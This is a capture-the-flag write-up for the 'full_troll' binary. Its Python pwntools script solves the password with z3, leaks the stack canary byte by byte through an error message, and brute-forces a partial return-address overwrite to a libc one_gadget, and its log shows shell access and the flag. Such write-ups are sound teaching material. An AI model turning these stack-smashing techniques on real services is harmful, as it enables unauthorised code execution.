Solve `password`, leak canary, and overwrite main ret with a partial libc (1/4096 tries) to one_gadget for shell.Based on `/etc/issue.net` three libcs were tried until success.
Actual flag turned out to be `/home/chall/_r3al_fl4g_eTF8eO9k4LkAOqrl4_r341_fla6__.txt` :)
*In hindsigt*: could've avoided brute by using `/proc/self/syscall` as [mephi42](/user/65395) mentioned in the [comments](/task/9715)
```python#!/usr/bin/env python2# -*- coding: utf-8 -*-from pwn import *from os.path import existsfrom os import environ, getcwdfrom z3 import *import struct
exe = context.binary = ELF('./full_troll')
env = dict(environ)
host = args.HOST or '200.136.252.31'port = int(args.PORT or 2222)
def start(argv=[], *a, **kw):    '''Start the exploit against the target.'''    if args.REMOTE:        return connect(host, port)    if args.GDB:        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)    return process([exe.path] + argv, *a, **kw)
gdbscript = '''breakrva 0x103ccontinue'''.format(**locals())
# -- Exploit goes here --# Arch:     amd64-64-little# RELRO:    Full RELRO# Stack:    Canary found# NX:       NX enabled# PIE:      PIE enabled
def solve_password():    vals = []    for i in range(0x17):        vals.append(BitVec('x{}'.format(i), 32))
    s = Solver()
    s.add((vals[1] ^ vals[0]) == 0x3f)    s.add((vals[2] ^ vals[1]) == 0xb)    s.add((vals[3] ^ vals[2]) == 0x27)    s.add((vals[4] ^ vals[3]) == 0x33)    s.add((vals[5] ^ vals[4]) == 0x41)    s.add((vals[6] ^ vals[5]) == 0x4f)    s.add((vals[7] ^ vals[6]) == 0x3b)    s.add((vals[8] ^ vals[7]) == 0x1b)    s.add((vals[9] ^ vals[8]) == 0x21)    s.add((vals[10] ^ vals[9]) == 0x32)    s.add((vals[0xb] ^ vals[10]) == 0x73)    s.add((vals[0xc] ^ vals[0xb]) == 0x79)    s.add((vals[0xd] ^ vals[0xc]) == 0x2b)    s.add((vals[0xe] ^ vals[0xd]) == 0x3a)    s.add(vals[0xe] == vals[0xf])    s.add((vals[0x10] ^ vals[0xf]) == 2)    s.add((vals[0x11] ^ vals[0x10]) == 0x38)    s.add((vals[0x12] ^ vals[0x11]) == 0x1d)    s.add((vals[0x13] ^ vals[0x12]) == 3)    s.add((vals[0x14] ^ vals[0x13]) == 4)    s.add((vals[0x15] ^ vals[0x14]) == 0x49)    s.add((vals[0x16] ^ vals[0x15]) == 0x61)    s.add(vals[0x16] == 0x58)
    assert s.check() == sat    m = s.model()
    return ''.join(map(chr, [m[vals[i]].as_long() for i in range(0x17)])) # VibEv7xCXyK8AjPPRjwtp9X
def cat_head_n1(fn):    io.sendlineafter('Tell me your password.', fit({        0: solve_password(),        0x20: fn,        }))    return io.recvuntil('Welcome my friend.')
log.info('solving pw...')password = solve_password()log.info(password)
log.info('go grab some coffee...')
# cat_head_n1('/etc/issue.net') # Ubuntu 18.04.3 LTS
NUM_TRIES = 2**12 # 12bits bruteforce
# one_gadgets with rax == NULLfor fn, gadgets in [			  ('libc6_2.27-3ubuntu1_amd64.so', [0x4f2c5]), # this turned out to be the right one        # ('libc6_2.26-0ubuntu2_amd64.so', [0x47c46]),        # ('libc6_2.26-0ubuntu2.1_amd64.so', [0x47c46]),        ]:    libc = ELF('/libc-database/db/{}'.format(fn, checksec=False))
    for gadget in gadgets:        for attempt in range(NUM_TRIES):            if attempt % 10 == 0:                print('{}/{}'.format(attempt, NUM_TRIES))            context.log_level = logging.CRITICAL            io = start(env=env)            try:                # leak canary                canary = ''                for i in range(8):                    io.sendlineafter('Tell me your password.', fit({                        0: password,                        0x50-8-1+i: 'A',                        }))                    io.recvuntil('Unable to open ')                    leak = io.recvuntil(' file!')
                    leak = leak[0x28+i:leak.index(' file!')] log.info('leak: {}'.format(leak))                    if len(leak) == 0:                        canary += '\0'                    else:                        canary += leak
 log.info('canary: {}'.format(canary))
                    if len(canary) == 8:                        break
                canary = u64(canary) log.info('canary: {:#x}'.format(canary))
                io.sendlineafter('Tell me your password.', fit({                    0: password,                    0x20: '\0', # flag_path[0] == 0: break ret                    0x50-8: [                        canary,                        8*'B',                        p32(gadget)[:3],                        ],                    }))
                # got shell?                io.sendline('id')                x = io.recvuntil('uid', timeout=2)                if len(x) < 1:                    continue
                context.log_level = logging.INFO log.info(x)                print("worked on attempt #{}".format(attempt))                io.sendline('cat /home/chall/_r3al_fl4g_eTF8eO9k4LkAOqrl4_r341_fla6__.txt')                io.interactive()                break            except EOFError:                continue            except struct.error:                continue            except Exception as e:                # if attempt % 500 == 0:                print('{}/{} exc: {}'.format(attempt, NUM_TRIES, type(e).__name__))                raise                continue            finally:                context.log_level = logging.CRITICAL                io.close()                del io
log.info('done')
'''[*] solving pw...[*] VibEv7xCXyK8AjPPRjwtp9X[*] go grab some coffee...[*] '/libc-database/db/libc6_2.27-3ubuntu1_amd64.so'    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    Canary found    NX:       NX enabled    PIE:      PIE enabled0/4096 exc: <type 'exceptions.EOFError'>...3000/4096 exc: <type 'exceptions.EOFError'>[*]    Unknown erroruidworked on attempt #3054[*] Switching to interactive mode=1001(chall) gid=1001(chall) groups=1001(chall)CTF-BR{Fiiine...Im_not_ashamed_to_say_that_the_expected_solution_was_reading_/dev/fd/../maps_How_did_y0u_s0lve_1t?}$'''```